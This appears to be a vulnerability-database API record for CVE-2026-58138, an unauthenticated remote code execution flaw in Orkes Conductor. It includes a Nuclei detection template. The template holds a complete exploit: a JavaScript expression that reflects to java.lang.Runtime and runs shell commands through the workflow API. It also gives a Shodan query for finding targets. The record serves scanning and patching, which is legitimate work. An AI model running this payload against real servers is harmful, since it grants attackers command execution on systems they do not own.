{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-58138/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-58138/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-58138/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-58138/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-58138/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-58138"},"sightings":{"href":"/api/v1/sightings/cve-2026-58138"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.09257,"kev":false,"percentile":0.95134},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-58138.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-58138\n\ninfo:\n  name: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.\n  impact: |\n    A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.\n  remediation: |\n    Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.\n  reference:\n    - https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators\n    - https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1\n    - https://github.com/conductor-oss/conductor/releases/tag/v3.30.2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58138\n    - https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58138\n    epss-score: 0.09257\n    epss-percentile: 0.95134\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: conductor-oss\n    product: conductor\n    shodan-query: http.title:\"Conductor UI\"\n  tags: cve,cve2026,conductor,graalvm,rce,intrusive,vkev\n\nvariables:\n  wfname: \"{{rand_text_alpha(12)}}\"\n  marker: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/metadata/workflow HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\": \"{{wfname}}\", \"version\": 1, \"schemaVersion\": 2, \"ownerEmail\": \"test@test.com\", \"tasks\": [{\"name\": \"n\", \"taskReferenceName\": \"n\", \"type\": \"INLINE\", \"inputParameters\": {\"evaluatorType\": \"javascript\", \"expression\": \"var k=$.getClass().getClass();var S=k.getMethod('getName').getReturnType();var forName=k.getMethod('forName',S);var L=function(n){return forName.invoke(null,[n]);};var RT=L('java.lang.Runtime');var rt=RT.getMethod('getRuntime').invoke(null,[]);var I=L('java.lang.Integer').getField('TYPE').get(null);var A=L('java.lang.reflect.Array');var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'echo {{marker}}-$((6*7))']);var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);var o='',l;while((l=br.readLine())!==null)o+=l+'\\\\n';o\"} }]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/workflow/{{wfname}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: wfid\n        internal: true\n        group: 1\n        regex:\n          - \"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"\n\n  - raw:\n      - |\n        GET /api/workflow/{{wfid}}?includeTasks=true HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}-42\"\n\n      - type: word\n        part: content_type\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220394a474cfdeb3196de84a6dee49d28bc4ff6d26970dc5ce565d1429196a9e5fa02204965ce2fd8ef14239c84ea9b26893da95fb09d75ca59b679545b1474b9f0eb2e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-58138"}